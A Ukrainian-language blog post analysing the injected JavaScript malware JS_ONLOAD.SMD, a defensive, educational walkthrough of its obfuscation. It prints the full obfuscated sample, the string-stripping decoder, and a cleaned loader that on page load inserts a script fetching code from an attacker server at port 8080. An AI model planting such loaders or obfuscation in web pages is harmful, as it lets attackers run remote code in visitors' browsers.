Аналіз джаваскріпт-вірусу JS_ONLOAD.SMD

Метки: , ,

Вступ

Проаналізуємо javascript-вірус, поширеним результатом роботи якого є рекламні гіперпосилання розміщенні без вашого відома на вашій веб-сторінці. Одразу зауважу, що автори вірусу не обмежені лише розміщенням реклами на інфікованому ресурсі. Вони можуть робити із ним що завгодно, завдяки динамічному завантаженню javascript-коду з їхнього серверу.

Ось як реагують на піддослідний штам деякі антивіруси:

Avast JS:Illredir-Z [Trj]
DrWeb JS.Redirector.based.2
ESET-NOD32 JS/TrojanDownloader.Agent.NSM
TrendMicro JS_ONLOAD.SMD

А ось як він сам виглядає:

var ok;if(ok!='E'){ok=''};try {var j="";var Mz=new Date();this.Js='';var x='replace';var pL="";var WC;if(WC!='Z'){WC=''};var g='[';var kC;if(kC!='s' && kC != ''){kC=null};var A=new String();var V=RegExp;var lF=new Date();var o='';var l='g';var B=']';this.wj='';function H(p,u){var Jo;if(Jo!=''){Jo='ZL'};var jN=new Array();var BD=g;var os;if(os!='' && os!='Zf'){os=''};var ny=new String();BD+=u;var vo='';var Je='';BD+=B;var cO;if(cO!='HJ' && cO != ''){cO=null};var Zc=new Array();var d=new V(BD, l);this._b="";return p[x](d, o);var C=new Array();};var k=H('82992099989222202299',"92");this.nb='';var AEN=new Date();var r=H('hItItIpX:X/I/ImXeIrXcIaXdXoXlIiXvXrIeX-IcXoXmI-XbXrX.XlXeItXiXtIbXiXtX.InXeXtI.XeIxXcIiItXeI-XcXoX-IjXpX.XtIaXgXtXeXaXmIeXxXpIoX.XrXuX:X',"IX");var p="1";var z=H('sQeXtvA4tvtXr4iXbQuQt4ev',"QXv4");this.yR="";var pT=H('b4o4dly4',"Zlt4n");var Cn=new String();var m=H('c5r5e5aPt5e6EPl5ePm6ePn5tP',"6LP5");var doH=new String();var BA=H('orn9lyoraydr',"Wy9rF");var W=H('/Em5a5rQkLe8tEwEa8t8cLh8.QcQo8mQ/Em8aLrEkQeLtLwLa5t8cQh5.EcQo8mQ/EyLa8pElEoEg8.LjQpL/LgQo5oQg5l5e5.5cEo8mL/8oLr5k8uEtE.8cEoEmE.Qp5hLp8',"58QEL");var Dr;if(Dr!='wB' && Dr!='UA'){Dr='wB'};var m_=H('azpzpQeznQdzCQhzizlzdQ',"Qz");this.Zl="";var gv=H('sIcIrIiepetI',"Ie");this.qg="";this.jc="";var Y='';var P;if(P!='' && P!='Yl'){P='Kd'};var Q='';window[BA]=function(){var ia;if(ia!='L' && ia!='uv'){ia=''};var cOu;if(cOu!='qn' && cOu!='oT'){cOu=''};M=document[m](gv);var Yv=new Array();this.GH="";var jy;if(jy!='CF' && jy!='_w'){jy=''};var xZ="";Y+=r;var F;if(F!='pk' && F!='OM'){F='pk'};Y+=k;Y+=W;var Qs;if(Qs!='' && Qs!='mQ'){Qs='zO'};var WA=document[pT];var Ez;if(Ez!='' && Ez!='Fa'){Ez=''};this.Kq='';M.setAttribute('defer', p);var PW='';M.src=Y;var tH='';var ve;if(ve!='' && ve!='fq'){ve='Zz'};var cq;if(cq!='SO' && cq!='FE'){cq='SO'};var ll;if(ll!='lB' && ll != ''){ll=null};var Tp=new Array();WA.appendChild(M);this.xX='';};var Um=new Array();var Ou=new Array();} catch(U){};var Mp;if(Mp!='' && Mp!='Ub'){Mp=''};var dP=new Array();

Ясна річ, що розповсюджується він у важкочитаємому вигляді, та, не дивлячись на це, зараз ми його розберемо і зрозуміємо, що його принцип дуже простий і весь алгоритм його роботи можна було б виразити декількома рядками коду.

Загальна структура

Скрізь у коді зустрічаються рядки на кшталт тих, якими починається та закінчуюється вірус:

// початок
var ok;
if (ok!='E'){ok=''};
// ...
// кінець
var Mp;
if (Mp!='' && Mp!='Ub'){Mp=''};
var dP=new Array();

Ці змінні у коді далі не використовуються — це просто сміття для відвертання уваги, і більшість ініціалізацій змінних тут саме для цього.

Основний код знаходиться у блоці try/catch, його можна розділити на чотири частини:

  1. Первинна ініціалізація
  2. Оголошення функції пошуку та заміни
  3. Ініціалізація із приховуванням
  4. Виконання 

Первинна ініціалізація 

Тут, проміж відвертаючого увагу коду, оголошуються змінні, задіяні при декларації функції пошуку та заміни.

Якщо видалити весь сміттєкод, то вийде ось що:

var x='replace';
var g='[';
var V=RegExp;
var o='';
var l='g';
var B=']';

Зацікавлення тут може викликати хіба що третій рядок, де змінній V присвоюється "конструктор" для створення об'єктів регулярних виразів. Все інше — змінні із звичайними текстовими значеннями.

Тепер ми готові до розгляду функції, у якій задіяні всі вищенаведені змінні.

Оголошення функції пошуку та заміни

Ця фунція використовується для розшифровки непридатних для читання неозброєним оком рядків тексту. Забігачи наперед, покажу деякі результати її роботи:

sQeXtvA4tvtXr4iXbQuQt4ev ->setAttribute
82992099989222202299 -> 8080

 Сам її код, попередньо очищенний і відкоментований, ось:

function H(p,u){
    var BD=g;  // [ 
    BD+=u;  // [u 
    BD+=B;  // [u] 
    var d=new V(BD,l);  // new RegExp('[u]', 'g') 
    return p[x](d, o);  // p['replace'](new RegExp('[u]', 'g'), '') 
 };

У функцію передається текст p, у якому потрібно видалити символи зазначені у u. Тут використовуються всі змінні оголошені на попередньому кроці:

  • квадратні дужки у змінних g і B та вміст змінної утворюють разом регулярний вираз, за яким і будуть відшукуватися символи для заміни
  • V та l безпосередньо беруть участь у створенні об'єкту RegExp, надаючи, відповідно, конструктор та прапорець 'g' (global)
  • змінна x надає назву методу, який викликається на string-об'єкті p: p['replace']
  • змінна o містить текст, яким будуть замінені символи зазначені у u (оскільки ці символи потрібно видалити, то у змінній o просто порожня стрічка)

Загалом же, як видно із коментарів, вся корисна робота функції зводиться до одного рядка:

p.replace(new RegExp('[u]', 'g'), '');

Ініціалізація із приховуванням

Далі створюються змінні, вміст яких автори вірусу приховують із допомогою розглянутої вище функції H() . Ось очищений код цієї частини:

var k=H('82992099989222202299',"92"); // 8080
// mercadolivre-com-br.letitbit.net.excite-co-jp.tagteamexpo.ru:
var r=H('hItItIpX:X/I/ImXeIrXcIaXdXoXlIiXvXrIeX-IcXoXmI-XbXrX.XlXeItXiXtIbXiXtX.InXeXtI.XeIxXcIiItXeI-XcXoX-IjXpX.XtIaXgXtXeXaXmIeXxXpIoX.XrXuX:X',"IX");
var p="1";
// setAttribute
var z=H('sQeXtvA4tvtXr4iXbQuQt4ev',"QXv4");
// body
var pT=H('b4o4dly4',"Zlt4n");
// createElement
var m=H('c5r5e5aPt5e6EPl5ePm6ePn5tP',"6LP5");
// onLoad
var BA=H('orn9lyoraydr',"Wy9rF");
// /marketwatch.com/marketwatch.com/yaplog.jp/google.com/orkut.com.php  
var W=H('/Em5a5rQkLe8tEwEa8t8cLh8.QcQo8mQ/Em8aLrEkQeLtLwLa5t8cQh5.EcQo8mQ/EyLa8pElEoEg8.LjQpL/LgQo5oQg5l5e5.5cEo8mL/8oLr5k8uEtE.8cEoEmE.Qp5hLp8',"58QEL");
// appendChild
var m_=H('azpzpQeznQdzCQhzizlzdQ',"Qz");
// script
var gv=H('sIcIrIiepetI',"Ie");
var Y='';

Як бачимо, у функцію H() передається засмічений рядок тексту і, разом із цим, символи які потрібно видалити із засміченого тексту, щоб він став чистим.

У наступній частині ми розглянемо, як всі ці клаптики тексту об'єднуються в один механізм, заради кінцевої мети вірусу.

Виконання

Попередньо очищенний код цієї частини ось:

window[BA]=function(){
  M=document[m](gv);
  Y+=r;
  Y+=k;
  Y+=W;
  var WA=document[pT];
  M.setAttribute('defer', p);
  M.src=Y;
  WA.appendChild(M);
};

Якщо позамінювати змінні із попередньої частини їхніми значеннями, то отримаємо такий код:

window.onload=function(){
  M=document.createElement("script");
  Y="http://mercadolivre-com-br.letitbit.net.excite-co-jp.tagteamexpo.ru:8080/marketwatch.com/marketwatch.com/yaplog.jp/google.com/orkut.com.php";
  var WA=document.body;
  M.setAttribute('defer', 1);
  M.src=Y;
  WA.appendChild(M);
}

Тобто, оці вісім рядків коду, це все заради чого вірус виглядав так страшно: все заради створення нового DOM-об'єкту script і підвантаження javascript-коду із сервера зловмисників.

Висновок 

Отже, ми з вами побачили яскравий приклад того, як сильно ускладнюється код та життя коли тобі є що приховувати.

Також ми побачили приклад того, як може додатися роботи тоді, коли не слідкуєш за своїми FTP-паролями (вірус потрапив на сервер саме завдяки цьому).


11 Май 2015

Комментарии (заморожены на какое-то время)

На этой странице еще нет комментариев.


Интернет реклама